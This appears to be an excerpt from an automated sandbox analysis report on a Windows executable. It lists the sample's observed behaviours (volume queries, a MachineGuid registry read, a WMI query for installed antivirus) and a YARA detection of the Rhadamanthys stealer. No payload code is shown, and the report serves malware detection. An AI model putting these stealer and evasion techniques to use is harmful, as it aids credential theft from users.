Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation

Source: C:\Users\user\Desktop\81zBpBAWwc.exe

Code function: 0_2_00007FF6997194D0 GetCurrentProcessId,ProcessPrng,CreateNamedPipeW,GetLastError,CloseHandle,CloseHandle,

0_2_00007FF6997194D0

Source: C:\Users\user\Desktop\81zBpBAWwc.exe

Code function: 0_2_00007FF69970E220 GetSystemTimePreciseAsFileTime,

0_2_00007FF69970E220

Source: C:\Windows\System32\OpenWith.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000004.00000003.1858918260.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1872756258.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1838129032.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1860404032.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1848367747.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1864029392.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1820263145.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1844556462.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1830217382.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1825939380.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1874774148.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1877691935.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1833111481.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1850439856.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1871687520.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1822995618.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1839488162.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1876940522.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1852328722.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2023536799.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1843708658.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1837526724.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1908667751.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1844059304.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1843341449.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2037272936.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1747979036.000000001BDA1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1874529158.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1840606816.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1846437877.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1873686601.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
